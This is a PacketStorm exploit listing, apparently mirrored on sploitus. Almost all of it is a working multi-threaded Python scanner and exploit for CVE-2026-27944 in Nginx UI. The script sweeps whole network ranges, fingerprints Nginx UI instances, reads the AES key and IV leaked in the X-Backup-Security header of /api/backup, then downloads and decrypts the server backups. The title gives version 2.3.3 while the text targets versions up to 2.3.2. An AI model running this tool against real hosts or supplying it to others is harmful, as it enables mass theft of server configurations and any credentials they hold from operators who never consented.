Share
## https://sploitus.com/exploit?id=PACKETSTORM:216960
=============================================================================================================================================
    | # Title     : Nginx UI 2.3.3 Mass Scanner and Backup Decryption Exploit                                                                   |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://nginx.org/                                                                                                          |
    =============================================================================================================================================
    
    [+] Summary    : This Python tool is a multi‑threaded scanner and exploitation utility designed to identify and validate the vulnerability CVE-2026-27944 affecting Nginx UI versions ≤ 2.3.2.
    
    The script supports scanning single hosts, CIDR ranges, or target lists, and checks multiple common web service ports. It fingerprints Nginx UI instances by analyzing page content, HTTP headers, and the /api/version endpoint.
    
    When a target is identified as Nginx UI, the scanner checks the /api/backup endpoint for the presence of the X-Backup-Security HTTP header, which contains a Base64‑encoded AES key and IV used to encrypt backup archives. Because the cryptographic material is disclosed in the response headers, the script can retrieve the encrypted backup and decrypt it automatically.
    
    Main Capabilities
    
    Multi‑threaded mass scanning engine for large network ranges
    
    Automatic Nginx UI detection using HTML and header fingerprints
    
    Version comparison to detect potentially vulnerable versions
    
    Direct vulnerability confirmation via /api/backup endpoint
    
    Automated exploit module that downloads and decrypts the backup
    
    JSON output for scan results and analysis
    			  
    [+] POC   : >python 1.py --target https://127.0.0.1
    
    #!/usr/bin/env python3
    
    import argparse
    import base64
    import os
    import json
    import ipaddress
    import threading
    from concurrent.futures import ThreadPoolExecutor
    from urllib.parse import urljoin, urlparse
    
    import requests
    from requests.adapters import HTTPAdapter
    from urllib3.util.retry import Retry
    
    VULN_VERSION_MAX = "2.3.2"
    DEFAULT_PORTS = [80,443,8080,8443,9000,9001,9080]
    
    def version_leq(v1,v2):
    
        try:
    
            a=[int(x) for x in v1.split(".")]
            b=[int(x) for x in v2.split(".")]
    
            length=max(len(a),len(b))
    
            a+= [0]*(length-len(a))
            b+= [0]*(length-len(b))
    
            return a<=b
    
        except:
            return False
    
    def create_session():
    
        s=requests.Session()
    
        retry=Retry(
            total=2,
            backoff_factor=0.3,
            status_forcelist=[500,502,503,504]
        )
    
        adapter=HTTPAdapter(max_retries=retry)
    
        s.mount("http://",adapter)
        s.mount("https://",adapter)
    
        s.headers.update({
            "User-Agent":"Mozilla/5.0"
        })
    
        return s
    
    def expand_targets(file,cidr,target,ports):
    
        targets=[]
    
        if target:
            targets.append((target,ports))
    
        if cidr:
    
            net=ipaddress.ip_network(cidr,strict=False)
    
            for ip in net.hosts():
                targets.append((str(ip),ports))
    
        if file:
    
            with open(file) as f:
    
                for line in f:
    
                    line=line.strip()
    
                    if line:
                        targets.append((line,ports))
    
        return targets
    
    def detect_nginx_ui(host,port,ssl=False):
    
        proto="https" if ssl else "http"
    
        url=f"{proto}://{host}:{port}"
    
        session=create_session()
    
        result={
            "url":url,
            "host":host,
            "port":port,
            "version":None,
            "is_ui":False,
            "is_vuln":False,
            "confidence":0
        }
    
        try:
    
            r=session.get(url,timeout=5,verify=False)
    
            if "<title>Nginx UI</title>" in r.text:
                result["confidence"]+=40
    
            if "nginx-ui" in r.text.lower():
                result["confidence"]+=20
    
            server=r.headers.get("Server","")
    
            if "nginx" in server.lower():
                result["confidence"]+=5
    
            try:
    
                vr=session.get(f"{url}/api/version",timeout=5,verify=False)
    
                if vr.status_code==200:
    
                    data=vr.json()
    
                    if "version" in data:
    
                        result["version"]=data["version"]
    
                        if version_leq(result["version"],VULN_VERSION_MAX):
                            result["is_vuln"]=True
    
                        result["confidence"]+=30
    
            except:
                pass
    
            try:
    
                br=session.head(f"{url}/api/backup",timeout=5,verify=False)
    
                if br.status_code==200 and "X-Backup-Security" in br.headers:
    
                    result["is_ui"]=True
                    result["is_vuln"]=True
                    result["confidence"]=100
    
            except:
                pass
    
    
            if result["confidence"]>=50:
                result["is_ui"]=True
    
        except:
            pass
    
        return result
    
    def mass_scan(targets,threads):
    
        results=[]
        vuln=[]
    
        lock=threading.Lock()
    
        total=len(targets)
    
        counter=0
    
        def worker(target):
    
            nonlocal counter
    
            host,ports=target
    
            for port in ports:
    
                for ssl in [False,True]:
    
                    r=detect_nginx_ui(host,port,ssl)
    
                    with lock:
    
                        counter+=1
    
                        print(f"\rScanned {counter}",end="")
    
                        if r["is_ui"]:
                            results.append(r)
    
                        if r["is_vuln"]:
                            vuln.append(r)
    
        with ThreadPoolExecutor(max_workers=threads) as exe:
    
            exe.map(worker,targets)
    
        print()
    
        return results,vuln
    
    def fast_exploit(url):
    
        from Crypto.Cipher import AES
        from Crypto.Util.Padding import unpad
    
        session=create_session()
    
        try:
    
            endpoint=urljoin(url+"/","api/backup")
    
            head=session.head(endpoint,timeout=5)
    
            if "X-Backup-Security" not in head.headers:
                print("Target not vulnerable")
                return
    
            header=head.headers["X-Backup-Security"]
    
            parts=header.split(":")
    
            if len(parts)!=2:
                print("Invalid header")
                return
    
            key=base64.b64decode(parts[0])
            iv=base64.b64decode(parts[1])
    
            r=session.get(endpoint)
    
            cipher=AES.new(key,AES.MODE_CBC,iv)
    
            data=unpad(cipher.decrypt(r.content),16)
    
            os.makedirs("exploited",exist_ok=True)
    
            name=urlparse(url).netloc.replace(":","_")
    
            path=f"exploited/{name}.zip"
    
            open(path,"wb").write(data)
    
            print("Backup saved:",path)
    
        except Exception as e:
    
            print("Exploit failed:",e)
    
    def main():
    
        parser=argparse.ArgumentParser()
    
        parser.add_argument("--cidr")
        parser.add_argument("--file")
        parser.add_argument("--target")
    
        parser.add_argument("--threads",type=int,default=100)
    
        parser.add_argument("--ports",default=",".join(map(str,DEFAULT_PORTS)))
    
        parser.add_argument("--exploit")
    
        args=parser.parse_args()
    
        if args.exploit:
    
            fast_exploit(args.exploit)
            return
    
    
        ports=[int(x) for x in args.ports.split(",")]
    
        targets=expand_targets(args.file,args.cidr,args.target,ports)
    
        if not targets:
    
            print("No targets specified")
            return
    
    
        results,vuln=mass_scan(targets,args.threads)
    
        json.dump(results,open("scan_results.json","w"),indent=2)
    
        print("Found UI:",len(results))
        print("Vulnerable:",len(vuln))
    
    
    if __name__=="__main__":
        main()
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================